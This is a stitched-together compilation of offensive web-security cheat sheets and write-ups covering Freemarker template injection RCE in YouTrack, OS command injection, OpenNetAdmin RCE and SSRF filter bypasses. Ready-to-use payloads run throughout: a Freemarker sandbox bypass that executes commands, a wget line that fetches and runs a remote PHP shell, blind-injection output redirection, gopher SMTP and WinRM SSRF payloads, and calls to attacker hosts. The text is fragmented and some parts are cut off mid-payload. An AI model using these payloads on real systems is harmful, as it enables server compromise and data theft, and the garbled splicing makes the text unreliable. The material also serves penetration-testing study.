which TemplateModel s can be instantiated in the templates. There are
three predefined resolvers:
• UNRESTRICTED_RESOLVER:
Simply calls ClassUtil.forName(String).
• SAFER_RESOLVER: Same as UNRESTRICTED_RESOLVER, except that it does
not allow
resolving ObjectConstructor, Execute and freemarker.template.utility.Jy
thonRuntime
• ALLOWS_NOTHING_RESOLVER: Doesn’t allow resolving any classes.
Conclusion
In this post, we described ways of successfully exploiting a
Freemarker Template Injection when ALLOWS_NOTHING_RESOLVER is
configured as the TemplateClassResolver , disabling the straight-
forward way of executing arbitrary code. By taking advantage of
the ?api built-in, we found ways of compromising sensitive data
through the templates, and ultimately achieve code execution by
finding a specific class that suited our needs.This highlights several
important points:
• First of all, giving users the ability to create and edit dynamic
templates is always a risk. Template languages are powerful
and, because of that, they should be handled with care, so
sometimes it is better to take into account when assigning
permissions that users with template-editing capabilities are
basically administrators of the web server (or can potentially
become one).
• The fact that the ?api built-in was enabled is what, in the end,
allowed us to do dangerous things like downloading source
code, performing SSRF or execute arbitrary code. This is
disabled by default for a reason, and should only be enabled
if there is no other solution.
• Java offers several protections at the code level that should
be considered when developing applications: things like
visibility or Serializable classes containing sensitive data can
become a risk when an attacker has reached some kind of
code execution capabilities in the JVM. Freemarker includes
protections (like disallowing dangerous reflection methods
like setAccessible), but good security and coding practices
makes the life of the attacker even harder.
In the end, this was a cool experience for us and we got a lot of
fun trying to bypass the ALLOWS_NOTHING_RESOLVER that initially seemed
to be a dead-end for our code execution aspirations. Also, we hope
that this post becomes useful for other testers which find
themselves in similar situations and want to explore the limits of
what can be done in a restricted or sandboxed environment.
https://ackcent.com/in-depth-freemarker-template-injection/
{
"template": {
"fileName": "article_digest_subject.ftl",
"content": "${191*7}"
}
}
HTTP/1.1 200 OK
[...]
{"issueId":null,"output":"1,337","error":null,"$type":"NotificationPreview"}
{
"template": {
"fileName": "article_digest_subject.ftl",
"content":"<#assign ex=\"freemarker.template.utility.Execute\"?new()>
${ex(\"id\")}"
}
}
HTTP/1.1 200 OK
{"issueId":null,"output":"[error] [error]","error":null,"$type":"Notification
Preview"}
This error is due to the fact that Freemarker Template class resolver [4] is set
to ALLOWS_NOTHING_RESOLVER in jetbrains/youtrack/notifications/controll
er/FreemarkerConfiguration.class.
USING A SANDBOX BYPASS TO ACHIEVE
REMOTE CODE EXECUTION
Fortunately for us, a bypass to get code execution exists
in Freemarker versions below 2.3.30. This bypass was presented by Alvaro
Muñoz and Oleksandr Mirosh at Blackhat USA 2020 [5].
The bypass relies on finding a public static field that allows to call the
newInstance() method. We used the DEFAULT_WRAPPER field of
the freemarker.template.ObjectWrapper class as defined in Alvaro and
Oleksandr's white paper to get remote code execution:
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
{
"template": {
"fileName": "article_digest_subject.ftl",
"content":"<#assign classloader=article.class.protectionDomain.classLoa
der><#assign owc=classloader.loadClass(\"freemarker.template.ObjectWrapper\")
><#assign dwf=owc.getField(\"DEFAULT_WRAPPER\").get(null)><#assign ec=classlo
ader.loadClass(\"freemarker.template.utility.Execute\")>${dwf.newInstance(ec,
null)(\"id\")}"
}
}
HTTP/1.1 200 OK
[...]
Bibliography
[1] https://blog.jetbrains.com/blog/2021/02/03/jetbrains-security-bulletin-q4-
2020/ - CVE-2021-25770 announcement
[2] https://freemarker.apache.org/ - Freemarker templating engine
[3] https://portswigger.net/research/server-side-template-injection - Basic SSTI
exploitation
[4] https://freemarker.apache.org/docs/api/freemarker/core/TemplateClassResol
ver.html - Freemarker TemplateClassResolver
[5] https://media.defcon.org/DEF%20CON%2028/DEF%20CON%20Safe%20M
ode%20presentations/DEF%20CON%20Safe%20Mode%20-
%20Alvaro%20Mun%CC%83oz%20and%20Oleksandr%20Mirosh%20-
%20Room%20For%20Escape%20Scribbling%20Outside%20The%20Lines%2
0Of%20Template%20Security.pdf - Scribbling outside the lines of template
security BH USA 2020, Alvaro Muñoz and Oleksandr Mirosh
[6] https://freemarker.apache.org/docs/api/freemarker/ext/beans/MemberAccess
Policy.html - MemberAccessPolicy in Freemarker 2.3.30
https://www.synacktiv.com/en/publications/exploiting-cve-2021-25770-a-server-side-
template-injection-in-youtrack.html
Command Injection
What is command Injection?
OS command injection (also known as shell injection) is a web security vulnerability that allows
an attacker to execute an arbitrary operating system (OS) commands on the server that is
running an application, and typically fully compromise the application and all its data. (From
here).
Context
Depending on where your input is being injected you may need to terminate the quoted
context (using " or ') before the commands.
Command Injection/Execution
#Both Unix and Windows supported
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
`ls` # ``
$(ls) # $()
Limition Bypasses
If you are trying to execute arbitrary commands inside a linux machine you will be interested
to read about this Bypasses:
Examples
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php
/tmp/reverse.php
Parameters
Here are the top 25 parameters that could be vulnerable to code injection and similar RCE
vulnerabilities (from link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Use Trickest to easily build and automate workflows powered by the world's most advanced
community tools. Get Access Today:
Trickest
real 0m5.007s
user 0m0.000s
sys 0m0.000s
real 0m0.002s
user 0m0.000s
sys 0m0.000s
1. Go to http://dnsbin.zhack.ca/
• dnsbin.zhack.ca
• pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
https://book.hacktricks.xyz/pentesting-web/command-injection
Summary
Technical Details
Senior red ream analyst and team lead Evren Yalcin of Picus
Labs has discovered that certain attack signature checks for
command execution can be bypassed by a command that
combines and commands in a command substitution payload to
create a reverse shell.
https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-
2c5dd4e6a52b
Detecting Blind OS command injection:
Time delays
Redirecting output
parameter=||whoami>/var/www/images/output.txt||
Command Injection
Cheatsheet
---------------------------------------------------------
-----------
Special Characters
&
&&
|
||
command `
$(command )
---------------------------------------------------------
-----------
whoami
ifconfig
ls
uname -a
---------------------------------------------------------
-----------
whoami
ipconfig
dir
ver
---------------------------------------------------------
-----------
ls %0A id
---------------------------------------------------------
-----------
---------------------------------------------------------
-----------
Redirecting output
---------------------------------------------------------
-----------
---------------------------------------------------------
----------
WAF bypasses
---------------------------------------------------------
-----------
Pipe Operator
3. I used so many payloads for testing but only one worked
which was a bypass using null byte character
Payload
/?query=
/?email=
/?id=
/?username=
/?user=
/?to=
/?from=
/?search=
/?query=
/?q=
/?s=
/?shopId=
/?blogId=
/?phone=
/?mode=
/?next=
/?firstname=
/?lastname=
/?locale=
/?cmd=
/?sys=
/?system=
https://shahjerry33.medium.com/blind-command-injection-it-hurts-9f396c1f63f2
$_ What_is_OpenNetAdmin?
$_Features_of_OpenNetAdmin
$_Vulnerability_Impact
💡 _Enumeration_& Attack_Vectors_:
[+] When I see a PHP application, the first thing that comes to
mind is “Command Injection” and “LFI/RFI
vulnerabilities.”
[+] PHP functions that allows for code execution are :exec(),
shell_exec(), curl_exec(), system().
Here we go…
$_Exploit_Analysis
The exploit takes advantage of the unsanitized PHP function
— shell_exec that executes the shell commands and returns
the output as a string. Shell_Exec is notoriously known for
leaving a security hole/vulnerability in an application if not
appropriately implemented; Secure Code practices y’all !!!
ws_ping fuction
window_submit function
Lastly, the curl output is piped into sed, tail, and head to display
the executed command’s output only.
$_Recommendation
https://github.com/opennetadmin/ona
https://medium.com/r3d-buck3t/remote-code-execution-in-opennetadmin-5d5a53b1e67
In a typical SSRF attack, the attacker might cause the server to make a
connection to internal-only services within the organization's infrastructure. In
other cases, they may be able to force the server to connect to arbitrary
external systems, potentially leaking sensitive data such as authorization
credentials.
What is the impact of SSRF attacks?
SSRF attacks often exploit trust relationships to escalate an attack from the
vulnerable application and perform unauthorized actions. These trust
relationships might exist in relation to the server itself, or in relation to other
back-end systems within the same organization.
In an SSRF attack against the server itself, the attacker induces the application
to make an HTTP request back to the server that is hosting the application, via
its loopback network interface. This will typically involve supplying a URL with a
hostname like 127.0.0.1 (a reserved IP address that points to the loopback
adapter) or localhost (a commonly used name for the same adapter).
For example, consider a shopping application that lets the user view whether an
item is in stock in a particular store. To provide the stock information, the
application must query various back-end REST APIs, dependent on the product
and store in question. The function is implemented by passing the URL to the
relevant back-end API endpoint via a front-end HTTP request. So when a user
views the stock status for an item, their browser makes a request like this:
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3Fpro
ductId%3D6%26storeId%3D1
This causes the server to make a request to the specified URL, retrieve the
stock status, and return this to the user.
In this situation, an attacker can modify the request to specify a URL local to the
server itself. For example:
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://localhost/admin
Here, the server will fetch the contents of the /admin URL and return it to the
user.
Now of course, the attacker could just visit the /admin URL directly. But the
administrative functionality is ordinarily accessible only to suitable authenticated
users. So an attacker who simply visits the URL directly won't see anything of
interest. However, when the request to the /admin URL comes from the local
machine itself, the normal access controls are bypassed. The application grants
full access to the administrative functionality, because the request appears to
originate from a trusted location.
Why do applications behave in this way, and implicitly trust requests that come
from the local machine? This can arise for various reasons:
These kind of trust relationships, where requests originating from the local
machine are handled differently than ordinary requests, is often what makes
SSRF into a critical vulnerability.
Another type of trust relationship that often arises with server-side request
forgery is where the application server is able to interact with other back-end
systems that are not directly reachable by users. These systems often have
non-routable private IP addresses. Since the back-end systems are normally
protected by the network topology, they often have a weaker security posture.
In many cases, internal back-end systems contain sensitive functionality that
can be accessed without authentication by anyone who is able to interact with
the systems.
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://192.168.0.68/admin
Some applications only allow input that matches, begins with, or contains, a
whitelist of permitted values. In this situation, you can sometimes circumvent
the filter by exploiting inconsistencies in URL parsing.
https://expected-host:fakepassword@evil-host
• You can use the # character to indicate a URL fragment. For example:
https://evil-host#expected-host
• You can leverage the DNS naming hierarchy to place required input into
a fully-qualified DNS name that you control. For example:
https://expected-host.evil-host
/product/nextProduct?currentProductId=6&path=http://evil-
user.net
http://evil-user.net
You can leverage the open redirection vulnerability to bypass the URL filter, and
exploit the SSRF vulnerability as follows:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://weliketoshop.net/product/nextProduct?curr
entProductId=6&path=http://192.168.0.68/admin
This SSRF exploit works because the application first validates that the
supplied stockAPI URL is on an allowed domain, which it is. The application
then requests the supplied URL, which triggers the open redirection. It follows
the redirection, and makes a request to the internal URL of the attacker's
choosing.
Blind SSRF is generally harder to exploit but can sometimes lead to full remote
code execution on the server or other back-end components.
https://portswigger.net/web-security/ssrf
Bypass filters
Applications often block input containing non-whitelist hostnames, sensitive URLs, or IP
addresses like loopback, IPv4 link-local, private addresses, etc. In this situation, it is sometimes
possible to bypass the filter using various techniques.
Redirection
You can try using a redirection to the desired URL to bypass the filter. To do this, return a
response with the 3xx code and the desired URL in the Location header to the request from
the vulnerable server, for example:
Server: nginx
Connection: close
Content-Length: 0
Location: http://127.0.0.1
Also, if the application contains an open redirection vulnerability you can use it to bypass the
URL filter, for example:
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
url=https://vulnerable-
website.com/api/v1/project/next?currentProjectId=1929851&path=http://127.0.0.1
These bypass approaches work because the application only validates the provided URL, which
triggers the redirect. It follows the redirect and makes a request to the internal URL of the
attacker's choice.
URL scheme
You can try to use different URL schemes:
file://path/to/file
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
dict://127.0.0.1:1337/stats
ftp://127.0.0.1/
sftp://attacker-website.com:1337/
tftp://attacker-website.com:1337/TESTUDPPACKET
ldap://127.0.0.1:389/%0astats%0aquit
ldaps://127.0.0.1:389/%0astats%0aquit
ldapi://127.0.0.1:389/%0astats%0aquit
gopher://attacker-website.com/_SSRF%0ATest!
Node.js
Node.js for Windows considers any single letter in a URL scheme as drive://filepath and
set the protocol to file://.
new URL('l://file').protocol
References:
• @PwnFunction tweet
Java
Java's URL will correctly handle the next URLs:
url:file:///etc/passwd
url:http://127.0.0.1:8080
References:
Rare IP address
Rare IP address formats, defined in RFC 3986:
0x7f.0.1
0x7f.1
00177.1
00177.0x0.1
0 => 0.0.0.0
IPv6 address
• IPv6 localhost:
[::]
0000::1
[::1]
0:0:0:0:0:0:0:0
• IPv4-mapped IPv6 address: [::ffff:7f00:1]
• IPv4-mapped IPv6 address: [::ffff:127.0.0.1]
• IPv4-compatible IPv6 address (deprecated, q.v. RFC4291: [::127.0.0.1]
• IPv4-mapped IPv6 address with zone identifier: [::ffff:7f00:1%25]
• IPv4-mapped IPv6 address with zone identifier: [::ffff:127.0.0.1%eth0]
127。0。0。1
127。0。0。1
127.0.0.1
⑫7。⓪.𝟢。𝟷
𝟘𝖃𝟕𝒇。𝟘𝔵𝟢。𝟢𝙭⓪。𝟘𝙓¹
⁰𝔁𝟳𝙛𝟢01
2𝟏𝟑𝟢𝟕𝟢6𝟺𝟛𝟑
𝟥𝟪³。𝟚⁵𝟞。²₅𝟞。²𝟧𝟟
𝟢₁𝟳₇。0。0。𝟢𝟷
𝟎𝟢𝟙⑦⁷。000。𝟶𝟬𝟢𝟘。𝟎₀𝟎𝟢0𝟣
[::𝟏②₇.𝟘.₀.𝟷]
[::𝟭2𝟟。⓪。₀。𝟣%𝟸𝟭⑤]
[::𝚏𝕱ᶠ𝕗:𝟏₂7。₀。𝟢。①]
[::𝒇ℱ𝔣𝐹:𝟣𝟤7。₀。0。₁%②¹𝟧]
𝟎𝚇𝟕𝖋。⓪。𝟣
𝟎ˣ𝟩𝘍。𝟷
𝟘𝟘①𝟕⑦.1
⓪𝟘𝟙𝟳𝟽。𝟎𝓧₀。𝟏
Proof of concept:
=> true
References:
Broken parser
The URL specification contains a number of features that are liable to be overlooked when
implementing ad hoc parsing and validation of URLs:
foo@evil-host:80@expected-host
foo@evil-host%20@expected-host
evil-host%09expected-host
127.1.1.1:80\@127.2.2.2:80
127.1.1.1:80:\@@127.2.2.2:80
127.1.1.1:80#\@127.2.2.2:80
ß.evil-host
References:
DNS pinning
If you want to get a A-record that resolves to an IP, use the following subdomain:
make-<IP>-rr.1u.ms
$ dig A make-127-0-0-1-rr.1u.ms
make-127-0-0-1-rr.1u.ms. 0 IN A 127.0.0.1
make-<IP>-and-<IP>-rr.1u.ms
$ dig A make-127-0-0-1-and-127-127-127-127-rr.1u.ms
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.0.0.1
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.127.127.127
GitHub - neex/1u.ms
GitHub
Welcome to sslip.io
DNS rebinding
If the mechanisms in vulnerable application for checking and establishing a connection are
independent and there is no caching of the DNS resolution response, you can bypass this by
manipulating the DNS resolution response.
For example, if two requests go one after the other within 5 seconds, DNS resolution make-1-
1-1-1-rebind-127-0-0-1-rr.1u.ms will return the address 1.1.1.1 by the first request,
and the second - 127.0.0.1.
$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 1.1.1.1
$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 127.0.0.1
GitHub - neex/1u.ms
GitHub
FFmpeg
SVG
SVG Abuse
cheat-sheets
Use HTTPLeaks to determine if any of the allowed HTML tags could be used to abuse the
processing.
GitHub - cure53/HTTPLeaks: HTTPLeaks - All possible ways, a website can leak HTTP requests
GitHub
References:
• Write up: Local File Read via XSS in Dynamically Generated PDF
• Write up: Exploiting HTML-to-PDF Converters through HTML Imports
• Report: Blind SSRF/XSPA on dashboard.lob.com + blind code injection
• Report: Bypassing HTML filter in "Packing Slip Template" Lead to SSRF to
Internal Kubernetes Endpoints
Spreadsheet exporting
If an application is running on a Windows server and exporting to a spreadsheet try to use
WEBSERVICE function to gain a SSRF:
=WEBSERVICE('https://attacker.com')
References:
• @intigriti tweet
Request splitting
rfkelly
HTTP headers
Many applications use in their flows IP addresses/domains, which they received directly from
users in different HTTP headers, such as the X-Forwarded-For or Client-IP headers. Such
application functionality can lead to a blind SSRF vulnerability if the header values are not
properly validated.
This is where the param-miner can be useful for searching the HTTP headers.
Referer header
Also notice the Referer header, which is used by server-side analytics software to track
visitors. Such software often logs the Referer header from requests, since this allows to track
incoming links.
The analytics software will actually visit any third-party URL that appears in the Referer
header. This is typically done to analyze the contents of referring sites, including the anchor
text that is used in the incoming links. As a result, the Referer header often represents
fruitful attack surface for SSRF vulnerabilities.
References
https://0xn3va.gitbook.io/cheat-sheets/web-application/server-side-request-forgery
https://highon.coffee/blog/ssrf-cheat-sheet/
gopher://
fd://
expect://
ogg://
tftp://
dict://
ftp://
ssh2://
file://
http://
https://
imap://
pop3://
mailto://
smtp://
telnet://
gopher://
ftp://
file://
http://
https://
ftp://
file://
http://
https://
gopher://
netdoc:///etc/passwd
netdoc:///etc/hosts
jar:proto-schema://blah!/
jar:http://localhost!/
jar:http://127.0.0.1!/
jar:http://0.0.0.0!/
jar:ftp://local-domain.com!/
file:///
dict://
sftp://
ldap://
tftp://
gopher://
ssh://
http://
https://
imap://
pop3://
smtp://
telnet://
Example:
/foo/bar?vuln-function=http://127.0.0.1:8888/secret
Localhost bypass:
All IPv4: 0
All IPv6: ::
All IPv4: 0.0.0.0
Localhost IPv6: ::1
All IPv4: 0000
All IPv4: (Leading zeros): 00000000
IPv4 mapped IPv6 address: 0:0:0:0:0:FFFF:7F00:0001
8-Bit Octal conversion: 0177.00.00.01
32-Bit Octal conversion: 017700000001
32-Bit Hex conversion: 0x7f000001
various bypasses:
127.0.0.1:80
127.0.0.1:443
127.0.0.1:22
127.1:80
0
0.0.0.0:80
localhost:80
[::]:80/
[::]:25/ SMTP
[::]:3128/ Squid
[0000::1]:80/
[0:0:0:0:0:ffff:127.0.0.1]/thefile
①②⑦.⓪.⓪.⓪
127.127.127.127
127.0.1.3
127.0.0.0
2130706433/
017700000001
3232235521/
3232235777/
0x7f000001/
0xc0a80014/
{domain}@127.0.0.1
127.0.0.1#{domain}
{domain}.127.0.0.1
127.0.0.1/{domain}
127.0.0.1/?d={domain}
{domain}@127.0.0.1
127.0.0.1#{domain}
{domain}.127.0.0.1
127.0.0.1/{domain}
127.0.0.1/?d={domain}
{domain}@localhost
localhost#{domain}
{domain}.localhost
localhost/{domain}
localhost/?d={domain}
127.0.0.1%00{domain}
127.0.0.1?{domain}
127.0.0.1///{domain}
127.0.0.1%00{domain}
127.0.0.1?{domain}
127.0.0.1///{domain}st:+11211aaa
st:00011211aaaa
0/
127.1
127.0.1
1.1.1.1 &@2.2.2.2# @3.3.3.3/
127.1.1.1:80\@127.2.2.2:80/
127.1.1.1:80\@@127.2.2.2:80/
127.1.1.1:80:\@@127.2.2.2:80/
127.1.1.1:80#\@127.2.2.2:80/
Enclosed Alphanumeric
http://⑯⑨。②⑤④。⑯⑨。②⑤④/
http://⓪ⓧⓐ⑨。⓪ⓧⓕⓔ。⓪ⓧⓐ⑨。⓪ⓧⓕⓔ:80/
Capture SSRF
The first thing you need to do is to capture a SSRF interaction provoked by you. To capture a
HTTP or DNS interaction you can use tools such as:
• Burpcollab
• pingb
• canarytokens
• interractsh
• http://webhook.site
• https://github.com/teknogeek/ssrf-sheriff
Protocols
file://
file:///etc/passwd
dict://
The DICT URL scheme is used to refer to definitions or word lists available using the DICT
protocol:
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
SFTP://
A network protocol used for secure file transfer over secure shell
ssrf.php?url=sftp://evil.com:11111/
TFTP://
Trivial File Transfer Protocol, works over UDP
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
LDAP://
Lightweight Directory Access Protocol. It is an application protocol used over an IP network to
manage and access the distributed directory information service.
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
Using this protocol you can specify the IP, port and bytes you want the server to send. Then,
you can basically exploit a SSRF to communicate with any TCP server (but you need to know
how to talk to the service first). Fortunately, you can use Gopherus to create payloads for
several services. Additionally, remote-method-guesser can be used to create gopher payloads
for Java RMI services.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3C
[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDAT
A%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3
A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2
017%3A20%3A26%20-
0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%2
7t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%
250aQUIT%250d%250a
HELO localhost
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
To: <[email protected]>
QUIT
Gopher HTTP
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie:
eatme%0A%0AI+am+a+post+body
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
https://example.com/?q=http://evil.com/redirect.php.
SMTP
From https://twitter.com/har1sec/status/1182255952055164929: 1. connect with SSRF on
smtp localhost:25 2. from the first line get the internal domain name 220
http://blabla.internaldomain.com ESMTP Sendmail 3. search http://internaldomain.com on
github, find subdomains 4. connect
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
Here, the SNI field value is used directly as the address of the backend.
With this insecure configuration, we can exploit the SSRF vulnerability simply by specifying
the desired IP or domain name in the SNI field. For example, the following command would
force Nginx to connect to internal.host.com:
PDFs Rendering
If the web page is automatically creating a PDF with some information you have provided, you
can insert some JS that will be executed by the PDF creator itself (the server) while creating
the PDF and you will be able to abuse a SSRF. Find more information here.
PHP SSRF
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location",
"gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50
%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%
31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%7
9%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a
%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%
20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a
%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%7
4%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f
%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%
0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0
d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73
%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%3
0%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%
6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78
%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61
%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%
74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e
%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77
%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%
3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%
77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22
%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%
61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77
%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%
73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74
%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%6
1%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70
%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53
%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%
20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e
%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3
a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55
%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74
%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%
74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d
%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%6
7%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e
%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%
20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%7
4%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70
%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f
%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%7
2%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%7
3%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%
20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f
%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%
77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43
%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%7
5%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%
6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70
%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64
%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%
6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d
%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37
%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30
%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%
